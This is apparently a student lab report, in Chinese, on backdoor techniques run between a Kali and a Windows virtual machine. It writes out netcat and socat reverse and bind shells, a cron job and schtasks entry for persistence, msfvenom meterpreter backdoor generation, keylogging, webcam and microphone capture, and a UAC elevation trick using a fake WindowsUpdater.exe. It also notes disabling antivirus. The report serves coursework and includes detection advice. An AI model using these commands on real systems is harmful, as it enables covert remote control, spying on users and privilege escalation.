文章目录
1.实验内容
- 掌握使用netcat和socat获取远程主机的Shell
- 掌握Windows和Linux中定时任务的配置方法
- 掌握使用MSF meterpreter生成可以获取Shell的可执行文件并获取目标主机音频、摄像头、击键记录等内容
- 掌握获取目标主机的Shell后进行提权的方法
2.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
下载来源不明的软件,例如通过网盘等方式分享的绿色版、免安装版软件
(2)例举你知道的后门如何启动起来(Windows及Linux)的方式?
-
Windows可以通过设置任务计划方式以及在注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run(普通用户权限)与 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run(管理员权限)下添加后门程序的路径
-
Linux可以通过Cron设置定时任务的方式让后门程序启动起来
(3)Meterpreter有哪些给你印象深刻的功能?
Meterpreter不仅可以获取目标主机的屏幕、摄像头、麦克风等设备,甚至还可以通过一些方式来迷惑用户获取系统的system权限,这也就是说,一旦安装的程序中存在后门,那么整个电脑的所有数据都有可能被泄露。
*如何发现自己有系统有没有被安装后门?
- 使用安全工具扫描系统:使用安全工具如恶意软件扫描器、入侵检测系统(IDS)或入侵防御系统(IPS)扫描系统文件和进程,以检测是否存在已知的后门。
- 检查系统日志:仔细检查系统日志,特别是认证日志(如syslog、auth.log等),查看是否有异常登录或活动记录。不寻常的登录时间、IP地址和用户可以是发现后门的迹象。
- 监视网络流量:使用网络流量分析工具监视系统的网络流量,查看是否有不寻常的网络连接或通信模式,可能是后门程序与控制服务器之间的通信。
- 审查系统文件和进程:定期审查系统文件和进程,比较它们与已知的干净系统的副本。检查不寻常的文件、目录或进程,以及不寻常的文件权限或时间戳。
- 定期更新和审查软件:定期更新系统和安装的软件,并审查安全公告和漏洞信息。已知的漏洞可能被黑客用来安装后门。
- 使用漏洞扫描器:运行漏洞扫描器,检查系统是否存在已知漏洞,这些漏洞可能被利用来安装后门或其他恶意软件。
- 行为分析:监视系统的行为,包括CPU和内存使用情况,以及文件系统和注册表的变化。不寻常的活动模式可能表明系统被入侵。
3.实验过程
3.1 实验环境
- 分别获取Windows和Kali的IP地址
ipconfig(Windows)
ifconfig(Kali)
如图所示,Windows的ip地址为192.168.56.1,Kali的ip地址为192.168.56.112。
- 由于kali中已经默认安装了这两个工具,仅需要下载到win10中即可,这里直接从老师所给的链接中下载。
netcat:netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。常被与其他工具结合使用,起到后门的作用。
socat:Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的Netcat 类似,可以看做是 Netcat 的加强版。Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。
3.2使用netcat获取主机操作Shell,cron启动
1.在win11主机中开启监听,需要进入到ncat.exe所在的工作目录下:
ncat.exe -l -p 2419 #端口号2419
2.在kali中通过ncat与win10主机建立反弹式连接:
nc 192.168.207.1 2419 -e /bin/sh #IP是win11主机的,端口保持一致
如图所示,Windows成功获得Kali的Shell并可以执行Linux命令,这就说明Kali上的后门程序可以通过netcat反弹连接Windows并提供Shell。
3.接下来我们通过cron让Kali每分钟都主动反弹连接Windows并给Windows提供一个Shell。
crontab -e #执行文字编辑器来设定时程表
# no crontab for root - using an empty one
# Select an editor. To change later, run 'select-editor'.
# 1. /bin/nano <---- easiest
# 2. /usr/bin/vim.basic
# 3. /usr/bin/vim.tiny
# Choose 1-3 [1]: 2 选择vim.basic
4.进入vim编辑器后,在文件的最下面添加一行,内容如下:
* * * * * /bin/netcat 192.168.207.1 2419 -e /bin/sh # 每分钟运行一次netcat反弹连接到Windows并提供一个Shell
这样我们再使用Windows Terminal进行监听,可以发现,每次用时最多一分钟就可以获得Kali的Shell并执行Linux指令
5.以root身份打开kali中记录定时任务的文件crontabs(/var/spool/cron目录下)
注意,crontabs目录下如果没有root文件,则需要在root模式下输入crontab -e,设定文字编辑器并修改时程表,这样会自动生成一个root文件。
6.通过win11获取的shell,先进入root模式,然后通过echo命令直接对文件本身进行修改(截图并非第一次进入root模式,故未输入密码):
echo "* * * * * echo "20212419" > /home/lf20212419/lf.txt" > /var/spool/cron/crontabs/root #每分钟定时执行一次,用“20212419”覆盖文件lf.txt
可见实验达到预期
3.3使用socat获取主机操作Shell, 任务计划启动
1.在win11的cmd中进入到socat.exe所在的目录下,开启监听:
socat.exe tcp-listen:2419 exec:cmd.exe,pty,stderr #把cmd.exe绑定到端口2419,并把cmd.exe的stderr重定向到stdout
2.在kali上使用socat与win主机建立连接,可获得其shell:
socat - tcp:192.168.207.1:2419 #连接远程端口
发现出现乱码,通过显示UTF-8设置解决大部分乱码问题:
chcp 65001 #chcp能够显示或设置活动代码页编号。
#65001——UTF-8代码页;950——繁体中文;936——简体中文默认的GBK;437——MS-DOS美国英语
3.通过命令行创建任务计划,用到 schtasks 命令(windows命令行添加任务计划):
schtasks /create /sc minute /mo 1 /tn “test” /tr C:\Users\Public\test.exe #每分钟执行一次test.exe
将test.c编译生成test.exe,并同上面的目录保持一致,这里我放置在C:\Users\Public文件夹下。
//test.c,
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(void)
{
char *wday[] = {"Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"};
time_t timep;
struct tm *p;
time (&timep);
p=gmtime(&timep);
FILE *fp;
fp = fopen("C:\\Users\\Public\\mwm.txt","a+");
fprintf(fp,"%s","Hello ");
fprintf(fp,"%d/%d/%d ", (p->tm_year+1900), (p->tm_mon+1), p->tm_mday);
fprintf(fp,"%s %d:%d:%d\n", wday[p->tm_wday], ((p->tm_hour)+8)%24, p->tm_min, p->tm_sec);
fclose(fp);
return 1;
}
打开计算机管理器,进入任务计划程序库,发现成功出现预期结果:
可见实验达到预期。
3.4 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后可以给我们返回一个控制通道。
1.在kali上生成可执行文件20212419_backdoor.exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.207.137 LPORT=9000 -f exe > 20212419_backdoor.exe #kali的IP
2.在win11的“病毒与威胁防护”设置中关闭“实时保护”,避免后门程序被杀软识别,然后将后门程序从kali传送给win11:
ncat.exe -l 9000 > 20212419_backdoor.exe #win11终端
nc 192.168.207.1 9000 < 20212419_backdoor.exe #kali终端。IP地址为win10主机的
如上图所示,后门程序已经从kali传送给win11中。
3.在kali中进入MSF控制台,并进行参数配置:
use exploit/multi/handler # 进入监听模块
# [*] Using configured payload generic/shell_reverse_tcp
set payload windows/x64/meterpreter/reverse_tcp # 设置攻击载荷为64位Windows的反弹TCP连接
# payload => windows/meterpreter/reverse_tcp
set LHOST 192.168.207.137 # 设置Kali的IP地址,请与后门程序的LHOST参数保持一致
# LHOST => 192.168.207.137
set LPORT 9000 # 设置端口号,请与后门程序的LPORT参数保持一致
# LPORT => 9000
exploit
# [*] Started reverse TCP handler on 192.168.207.137:9000
# 当出现上面的提示时在Windows上以管理员身份打开后门程序
在Windows上以管理员身份打开后门程序,kali即可获得win主机的shell:
3.5 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.基于刚刚获得的shell,继续执行命令获得主机更多信息:
record_mic -d 10 #截获音频,-d用来设置录制时间
screenshot #截屏
webcam_snap #打开摄像头拍照
keyscan_start #开始记录击键过程
keyscan_dump #读取击键记录
2.然后就是尝试提权的相关内容了,首先如果我们直接输入命令getsystem则会发现无法获取权限,如下图所示:
这里,我们可以使用exploit/windows/local/ask模块,先使用background将连接会话放到后台。然后进行如下操作:
use exploit/windows/local/ask # 加载模块
set session 1
# session => 1
set FILENAME WindowsUpdater.exe
# FILENAME => WindowsUpdater.exe
run
# 在这里建议关闭杀毒软件,否则杀毒软件会自动将程序杀掉
这时候Windows会弹出一个询问权限的窗口,选择“是”,然后Metaspolit就会自动生成一个新的session,在这个session中使用getsystem便可以直接获得system权限,如下图所示。
此时输入命令getsystem发现成功获取权限。
3.6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.207.137 LPORT=7003 -x ./wlgf/pwn1 -f elf > pwn2
# -p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
# -x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
# -f, --format < format> 指定输出格式
由于elf格式的可执行文件只能在Linux上执行,所以实验只能用Kali控制Kali,或者再启动一个Linux虚拟机作为目标主机。在Kali上的终端输入命令msfconsole打开msf控制台,等待程序初始化完成后输入以下指令获取Kali的Shell:
use exploit/multi/handler # 进入监听模块
# [*] Using configured payload generic/shell_reverse_tcp
set payload linux/x86/meterpreter/reverse_tcp # 设置攻击载荷为64位Linux的反弹TCP连接
# payload => windows/meterpreter/reverse_tcp
set LHOST 192.168.207.137 # 设置Kali的IP地址,请与后门程序的LHOST参数保持一致
# LHOST => 192.168.207.137
set LPORT 7003 # 设置端口号,请与后门程序的LPORT参数保持一致
# LPORT => 7003
exploit
# [*] Started reverse TCP handler on 192.168.207.137:7003
# 当出现上面的提示时再开启一个终端运行pwn2
可以发现,如下图所示,成功获得Kali的Shell
4.问题及解决方案
- 问题1:3.5中提权失败。
查阅资料得知这是因为Windows的UAC(用户账户控制):UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。
UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista和Windows Server 2008中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员密码。通过在这些操作启动前对其进行验证,UAC 可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。
后查阅资料通过Metaspolit中自带的一些模块解决。
- 问题2:使用命令msfvenom生成一个elf格式的后门程序,在shellcode注入pwn1中,能够开启监听,但是无法连接。
分析发现,在将shellcode注入pwn1中,我使用x64的命令,而其他同学使用x86即可实现。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.207.137 LPORT=6666 -x ./wlgf/pwn1 -f elf > pwn3
经过查阅资料后分析猜测,因为64位的payload无法与32位的可执行文件兼容,可能导致无法得到预期的结果。当我将payload改为32位的linux/x86/meterpreter/reverse_tcp时,它与32位的可执行文件兼容,因此我得到预期的结果。
要解决这个问题,则需要确保生成的payload与目标可执行文件的体系结构一致。如果目标可执行文件是64位的,那么你应该使用64位的payload,反之亦然。
5.学习感悟、思考
在进行上述实验过程中,我深刻认识到了网络安全领域的复杂性和危害性。通过使用工具如netcat、socat以及MSF Meterpreter,我了解到攻击者可以利用各种方式获取目标主机的Shell权限,并执行恶意任务,例如在目标主机上创建定时任务以持续性地对系统进行攻击。此外,利用Meterpreter生成的可执行文件,可以实现更高级的攻击,如获取目标主机的音频、摄像头信息,并尝试提权。这些实验不仅展示了攻击者可能利用的技术,也提醒了我作为防御者需要加强对系统安全的保护措施,包括及时更新系统补丁、配置防火墙、监控异常活动等。在实践中,我也学会了如何使用Metasploit生成Shellcode,并将其注入到漏洞程序中,实现获取反弹连接的Shell。
除此之外,本次实验中某些地方还值得深入研究,例如如何防止杀毒软件对后门程序进行查杀,此外,对于获得Shell后提权的相关部分还仅仅是简单地进行了了解,其内容还有很大一部分我们没有涉及。由衷的感谢王老师的教导,很好的帮助我完成本次实验。